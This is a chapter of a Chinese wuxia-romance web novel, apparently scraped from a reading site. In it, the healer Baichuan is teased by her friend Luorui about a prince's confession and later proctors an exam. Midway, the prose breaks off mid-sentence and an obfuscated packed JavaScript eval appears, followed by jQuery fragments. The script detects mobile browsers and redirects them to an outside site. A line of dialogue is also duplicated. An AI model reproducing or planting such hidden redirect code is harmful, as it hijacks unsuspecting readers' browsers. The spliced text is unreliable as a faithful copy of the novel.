12. 硬撩

作品:《捡个野徒问鼎江湖

    等百川回过神时,她已经把自己泡在了谷中的湖水里。


    她浑身湿透,一阵谷风吹过,冷意让她终于清醒了过来。


    百川抱着胳膊缩起脖子,水面的倒影中,她发丝濡湿,缠绕在鬓角的伤疤上。


    她将鬓角发丝撩到耳畔,完全展露出颊上那枚当年被火炽烤后留下的粉色疤痕,然后回忆起,方才在后山,李弘煜指尖停留在此处时的温热。


    “若不是这块伤疤,只怕那日被你救起后,我还无法那么快就从师尊的弟子中认出你来。”


    颊上滑过如羽毛般轻盈的触感,他轻轻拂过是在描画颊上那块伤疤,百川蓦然失了神,只听他说:


    “百川,你若愿意,便等我两年。”


    从湖中捧一掬沁凉的水泼在自己滚烫的脸上,百川闭着眼,再一遍遍从脑中抽取记忆,回忆片刻前的画面。


    “弘煜。”彼时,听完他的话,在片刻的震惊后,她张口,用少时的方式唤他,即使心跳剧烈,她仍旧努力保持冷静,极为认真地对他说,“其实我觉得,能一辈子留在纳川,也挺好。”


    啊……她当时怎么就直接说出来了呢,这得让李弘煜多尴尬。


    百川将呐喊声埋进水里,只从嘴中咕咕噜噜地吐泡泡。


    耳边隐约有钟声敲响,是纳川下学的钟声。


    百川急急地上了岸,她午后还有场小考,可不能迟到。


    此时虽是正午,日头正好,但谷风吹到湿衣服上带起的微凉,还是激得百川起了一胳膊鸡皮疙瘩。


    她打了个哆嗦,抱着胳膊避开人群往学舍走。


    所幸大家都在往伙房涌,百川从后山拐进女弟子聚居的苑阁,一路没遇到什么人,却在女苑阁门口刚好碰见了洛蕊。


    洛蕊是镇北将军萧家长女,如今是清谷师尊的得意门生,也是兵宗为数不多的女弟子。她入兵宗本是主修五行八卦排兵布阵法,虽然天赋异禀,平日里这才能却常被她用来算命,有时让清谷师尊都有些恨铁不成钢。


    她因为成天跟兵宗一群男人混在一处,加之天生一张乌鸦嘴,算的卦时常好的不灵坏的灵,说话嘴还损,平日里走得近的朋友不多,但跟百川难得能处一处。


    洛蕊一袭靛青色弟子服,束一根同色发带,配着高挑的身量,从背影看很是飒爽。可她五官长得明艳,一双凤眼中透着股子风流的味道。


    她拿挑着眼尾将百川从头到尾扫视一遍,问得一脸淡定:“瞧你这副样子,是为了男人吧?”


    脚下一个趔趄,百川瞠目结舌,她能不能不要这么直接,会让人误会好不好。


    “哪个男人?让我猜猜。”


    百川赶紧伸手去捂洛蕊那张嘴:“算命的你胡说八道什么呀!”


    洛蕊略施一招逍遥游轻松躲过百川的胳膊,一根指头挡开要来捂她嘴的手。


    “姑娘我不介意别人叫我算命的,但很介意别人说我胡说八道。”


    “半仙,你行行好,咱们说话别这么大声,行不?”


    百川无奈求饶,她只好把洛蕊往房间里推。


    “所以到底是谁?李弘煜?”


    百川抿唇,算命的猜的这叫一个准。


    没听见她回应,洛蕊估计自己说中了。


    “这回是怎么了?他拒绝你了,还是答应你了?”洛蕊一边说着,一边拿眼观察她,“看你这不悲不喜却又顾左右一言难尽的表情,也不像是示爱被拒或者心想事成的样子。难不成是李弘煜那斯向你表白?”


    百川睁大眼直直看向洛蕊,后者一挑眉,做了最后的论断:“而且你还没答应人家。”


    看到对方一脸惊愕,洛蕊不慌不忙地搭上她的肩,笑得爽朗:“姐妹你够可以啊,连李弘煜都拒绝,你不是一直私慕他来着么?”


    “谈何拒绝,是四殿下皇天贵胄,哪里是我能企及的。”百川谦虚笑道。


    “说点能听懂的,跟我还扯这些没用的。”洛蕊顺手揉她的脑袋。


    “说点能听懂的,跟我还扯这些没用的。话说你拒绝了他,不应该是他泡冷湖水么,你激动什么?”洛蕊圈着她的脖子,笑着调侃,“其实心里对人家还是有些于心不忍的吧。”


    “半仙你饶过我罢。”百川堵不住对方的嘴,就干脆把自己耳朵给捂上了,“我这不是最近刚请帑了银两,想着还是要以修习医术为重。”


    洛蕊在外明明是个英姿飒爽的女战士,一挨着百川就有点像是被抽了骨头似的,喜欢压她肩膀上。


    “不过我倒是能理解你,他是皇子,保不准三妻四妾的,我川儿跟他着实是有些委屈。”顿了顿,洛蕊叹息一声,“还是小川儿懂事,不像我那妹子,成天被我姨母撺掇的,好高骛远。”


    百川偏头看了眼洛蕊,知她是真心为自己考虑,心里莫名感动。


    “我这是向你学习,身赴功业,心寄前程。”百川知道,她近些年也是成天被她爹催着嫁人,可她却志不在此。


    “我这不家里还有个貌比西子的妹妹么,能把我爹注意力分散一些。”洛蕊不以为意地勾着她的肩。


    她妹妹洛薇本是一远房表妹,父母经商均死于流寇之手,洛蕊娘可怜她孤苦无依,又因生产洛蕊后再无所出,便将她从族里过继了来,虽说只是养女,却生得比她还像世家闺秀,琴棋书画样样精通,在她爹那里比她这个亲闺女还受着宠。


    “我跟我爹说了,在他那里,洛薇是闺女,把我当儿子养就可以了。虽说讲完这句话把我爹气得要死,但最近几年他好歹也算是想开了些。”


    洛将军年少成名,后娶了赵贵妃的妹妹,拼着军功和赵家扶持平步青云。那赵夫人生下洛蕊后身体便落了疾,将姊妹二人养到及笄后便撒手人寰。洛将军争战沙场多年一直未再娶妻,膝下只二女,洛蕊这么说,也算是宽慰她老爹。


    “洛将军忠肝义胆,为了保家卫国一生贡献沙场,有你姐妹二人作他的贴身小棉袄,也挺好。”百川瞅了眼对方表情,又补了一句,“洛薇是他的小棉袄,贴身穿可以,你自然是洛将军外穿铠甲,日后招个赘婿回洛家,照样能一直在将军身边尽孝。”


    洛蕊听完,被她哄得眉开眼笑,忍不住伸手捏她的脸:“想不到啊想不到,你这张嘴,倒是越发甜了。”尽拣她喜欢听的说。


    百川陪笑点头,她发现自从伺候过上官寒那斯,她这张嘴的确是越发会夸了。


    “行了,不逗你了,我这一大早操练到现在,一身汗,我先去换身衣服,你也快回去把湿衣服给换了。”洛蕊抽回胳膊,拍了拍她的肩,向前走了没几步忽然又折了回来,一脸神秘地凑到百川耳边道,“近日你有血光之灾,当心着点儿。”


    说罢冲她一挥手,进了学舍。


    洛蕊算命好的不灵坏的灵,却多有夸大,比如这个血光之灾,顶多也就是切菜割到手,吃饭咬到舌,因而除了心里感觉发毛不畅快之外,没太大神通之处。


    却不料这次,还真给她撞了件血光之灾的破事。


    今日午后开始纳川书院的课试。


    纳川虽说一年到头大试小试不断,但最重要的要属年末岁试,以


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201892|197220||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    及年中这次课试,全书院五宗所有弟子都要参加,由五宗师者分别出题,各宗尊者统一审核决定最后试题,课试不通者需在下半年将本科重修一遍。


    每宗的课试皆涉及多个科目,前后为期数日,每到此时,全院弟子均如临大敌,连洛蕊这样的佼佼者都得抓紧操练,以备午后的课试。


    百川作为师者,除了出题之外,课试期间还需临场监考,今日这科虽不是由她出题,然而师者数量有限,她一日至少得监考两场。


    趁着弟子都在伙房吃饭,百川早早来到考场,自幼长于纳川,这种课试她经历了不下数十次,既曾作过考生,如今也作了监考官,里面的门道她了如指掌。


    比如头天晚上将考点刻在桌上,桌下暗阁藏书,桌腿压着纸片……百川一个个检查过去,只叹这么多年过去,手段竟一点新意没有。


    课试开始时间将近,书院弟子陆续到场,刚踏进门一见监考者是百川,又纷纷扭头就走。一般而言,他们大多在考场外干两件事,一是将身上揣的小纸条通通毁尸灭迹,二是忙着出恭。


    医宗传说两大神捕,一是药理师者黄继,对于那些跟他攀不上什么关系的可怜弟子,他素来眼尖。一是外术师者百川,一视同仁,眼疾手快,宛如一个真正的武林高手。


    至于出恭……


    百川师者从不准予答题中途出恭方便,课试若未结束,即便是想主动放弃,也不可提前交卷,理由很简单,作为一名外术医者,为病患疗伤往往持续数个时辰,怎能中途中断,即便是出恭也不行,忍着罢。


    听说百川师者当年第一次参与课试,弟子们憋到结束时,茅房压根不够用,门外就地解决的里外都有三四层,前排尿在墙根上,后排尿在前排裤脚上。


    这百川师者监考的科目,考得不仅是学理,还有耐力。


    弟子们聊着往事,一边出恭一边打寒噤,尿得越发快了些。


    考核开始的钟声响彻纳川谷,燃上熏香,场上顿时悄然无声。百川左张张右望望,方才满意地立于讲台之后。


    燃至第四柱香时,百川深吸了口气,一般到了这个时候,会写的也该写完了,不会的便确是不会了,因而小偷小摸之事也该登场了。


    百川凝神环视,正打算走下讲台换个角度,上官寒脚步轻盈地迈了进来。


    为不打扰考生,百川只拿眼神向他询问,原是试题在誊写过程中出了些小差错,师尊特令他前来修正。


    修正完了后,考生继续埋头奋笔疾书,百川便也转过脸,警惕有人趁机作祟。不想上官寒并未急着离开,居然一反常态,表情认真地看着百川。


    百川心下纳闷,却不好分神,谁想上官寒紧接着竟脱下自己的藏青长衫,为百川披上,末了还俯下身,薄唇凑近百川耳边,她甚至感受到拂至耳上的气息,微痒。那气氛惊呆了场下一众考生。


    这新来的上官寒好生霸气,还没入门就公开调戏师者,这要待入了门,还不得上天?


    而且听说这上官寒长期用毒毁了容,配咱们百川师者,是不是有点癞蛤蟆想吃天鹅肉?虽说百川师者也的确不算是地道的天鹅,但好歹也是只健健康康的小家鸭,委实有些可惜。


    一干弟子默默摇头叹息,连欲作弊的也忘了浑水摸鱼,只顾啧啧感慨,这斯就算献殷勤,也不至于在这大暑天里,非得给人身上加件衣裳吧,这不是硬撩么。


    而只有百川知道,那上官寒凑近她耳边说了句什么:


    “百川师者竟穷成这样,衣裳破了杯底大的洞还舍不得扔。”